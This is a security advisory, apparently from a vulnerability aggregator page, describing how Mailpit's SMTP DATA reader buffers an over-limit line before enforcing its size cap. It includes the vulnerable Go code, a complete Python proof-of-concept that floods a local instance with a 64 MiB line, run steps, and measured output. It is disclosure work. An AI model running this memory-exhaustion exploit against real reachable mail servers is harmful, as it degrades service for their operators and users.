Résumé
Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement
Détails de l’avis
Summary
Mailpit's SMTP DATA reader enforces the configured MaxMessageSize only after bufio.Reader.ReadBytes('\n') has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected 552 5.3.4 rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.
Technical Details
Mailpit enables SMTP by default. The SMTP server now wires config.MaxMessageSize into srv.MaxSize:
if config.MaxMessageSize > 0 {
srv.MaxSize = config.MaxMessageSize * 1024 * 1024
}
The DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:
line, err := s.br.ReadBytes('\n')
if err != nil {
return nil, err
}
if bytes.Equal(line, []byte(".\r\n")) {
break
}
if line[0] == '.' {
line = line[1:]
}
if s.srv.MaxSize > 0 {
if len(data)+len(line) > s.srv.MaxSize {
_, _ = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}
This ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and ReadBytes('\n') has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns 552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800).
This is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: srv.MaxSize is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.
PoV
The following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:
#!/usr/bin/env python3
import os, socket, subprocess, threading, time
from pathlib import Path
def free_port():
s = socket.socket()
s.bind(("127.0.0.1", 0))
p = s.getsockname()[1]
s.close()
return p
def rss_kib(pid):
return int(subprocess.check_output(["ps", "-o", "rss=", "-p", str(pid)], text=True).strip())
def recv_line(sock):
data = b""
while not data.endswith(b"\n"):
chunk = sock.recv(1)
if not chunk:
break
data += chunk
return data.decode("latin-1", "replace").strip()
def send_cmd(sock, cmd):
sock.sendall(cmd)
return recv_line(sock)
def wait_for_smtp(port):
deadline = time.time() + 8
while time.time() < deadline:
try:
with socket.create_connection(("127.0.0.1", port), timeout=0.5) as sock:
recv_line(sock)
return
except OSError:
time.sleep(0.1)
raise RuntimeError("SMTP server did not become ready")
def send_data_line(port, pid, label, payload_bytes, finish_message):
stop = threading.Event()
peak = {"rss": rss_kib(pid)}
def monitor():
while not stop.is_set():
peak["rss"] = max(peak["rss"], rss_kib(pid))
time.sleep(0.03)
t = threading.Thread(target=monitor, daemon=True)
t.start()
sock = socket.create_connection(("127.0.0.1", port), timeout=20)
try:
recv_line(sock)
send_cmd(sock, b"HELO pov.example\r\n")
send_cmd(sock, b"MAIL FROM:<sender@example.test>\r\n")
send_cmd(sock, b"RCPT TO:<recipient@example.test>\r\n")
send_cmd(sock, b"DATA\r\n")
sock.sendall(f"Subject: {label}\r\n\r\n".encode())
chunk = b"A" * min(1024 * 1024, payload_bytes)
remaining = payload_bytes
while remaining:
n = min(len(chunk), remaining)
sock.sendall(chunk[:n])
remaining -= n
sock.sendall(b"\r\n.\r\n" if finish_message else b"\r\n")
response = recv_line(sock)
finally:
stop.set()
t.join(timeout=1)
sock.close()
after = rss_kib(pid)
return response, max(peak["rss"], after), after
mailpit = "./mailpit"
workdir = Path("./pov-work")
workdir.mkdir(exist_ok=True)
http_port, smtp_port = free_port(), free_port()
proc = subprocess.Popen([mailpit, "--disable-version-check", "--database", str(workdir / "mailpit.db"), "--listen", f"127.0.0.1:{http_port}", "--smtp", f"127.0.0.1:{smtp_port}", "--max-message-size", "50"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy())
try:
wait_for_smtp(smtp_port)
time.sleep(0.25)
max_message_size_mib = 50
control_payload = 1024
oversized_payload = 64 * 1024 * 1024
baseline = rss_kib(proc.pid)
control_resp, control_peak, after_control = send_data_line(smtp_port, proc.pid, "negative-control", control_payload, True)
oversized_resp, oversized_peak, after_oversized = send_data_line(smtp_port, proc.pid, "oversized-single-line", oversized_payload, False)
print(f"max_message_size_mib={max_message_size_mib}")
print(f"baseline_rss_kib={baseline}")
print(f"control_payload_bytes={control_payload}")
print(f"control_response={control_resp}")
print(f"control_peak_delta_kib={control_peak - baseline}")
print(f"after_control_rss_kib={after_control}")
print(f"oversized_single_data_line_bytes={oversized_payload}")
print(f"oversized_response={oversized_resp}")
print(f"oversized_peak_delta_kib={oversized_peak - after_control}")
print(f"after_oversized_rss_kib={after_oversized}")
finally:
proc.terminate()
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()
PoC
For the official Darwin ARM64 v1.30.3 release binary used for this proof, start in a clean parent directory and create the PoC directory:
mkdir mailpit-v1.30.3-pov
cd mailpit-v1.30.3-pov
From inside that directory, save the script above as smtp_data_line_size_pov.py, then run:
curl -fsSLO https://github.com/axllent/mailpit/releases/download/v1.30.3/mailpit-darwin-arm64.tar.gz
tar -xzf mailpit-darwin-arm64.tar.gz
chmod +x ./mailpit
./mailpit version
python3 ./smtp_data_line_size_pov.py
The official Darwin ARM64 v1.30.3 release binary reported:
mailpit v1.30.3 compiled with go1.26.4 on darwin/arm64
The bounded PoC output was:
max_message_size_mib=50
baseline_rss_kib=25008
control_payload_bytes=1024
control_response=250 2.0.0 Ok: queued as 1702Ad5k2J9kgOrc6phO0X
control_peak_delta_kib=2656
after_control_rss_kib=27680
oversized_single_data_line_bytes=67108864
oversized_response=552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)
oversized_peak_delta_kib=132928
after_oversized_rss_kib=160608
The control shows the normal DATA path accepting and queueing a small message. The oversized case differs only in DATA line length: Mailpit returns the configured size-cap rejection, but only after process RSS rises by about 130 MiB for one 64 MiB line.
Impact
An unauthenticated client that can reach the SMTP listener can force Mailpit to allocate memory above the configured MaxMessageSize before rejection. Repeating the input across concurrent connections can create substantial memory pressure and degrade service availability. The issue is bounded by attacker bandwidth and host memory rather than by the configured message-size cap until a newline arrives and the delayed check runs.
Exploitability requires the SMTP listener to be reachable by an untrusted client. Typical Mailpit deployments confined to trusted internal networks, CI environments without untrusted SMTP access, or loopback-only access therefore have substantially lower practical risk. AV:N describes the network attack path in a reachable deployment; it does not imply that most Mailpit instances are exposed to the public Internet.
Références
Vulnérabilités liées
Tout Supply chain →- MEDIUMCVE-2026-71486
vLLM: Derender endpoints decode caller-supplied GenerateResponse token IDs without output bounds
- HIGHCVE-2026-79921
amqp091-go has a Potential Memory Exhaustion/Protocol Violation via Broker-Controlled Oversized Payload
- HIGHCVE-2026-67446
Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling
- MEDIUMCVE-2026-82562
qs array-limit bypass via bracket-key comma parsing
- MEDIUMGHSA-8423-8fgw-73vq
tornado: multipart split() creates huge temp list before max_parts check -> memory amplification DoS (httputil.py:34)
- MEDIUMCVE-2026-73228
Django REST framework: Potential bypass of Django `DATA_UPLOAD_MAX_MEMORY_SIZE` when parsing oversized JSON and urlencoded request bodies via DRF `request.data`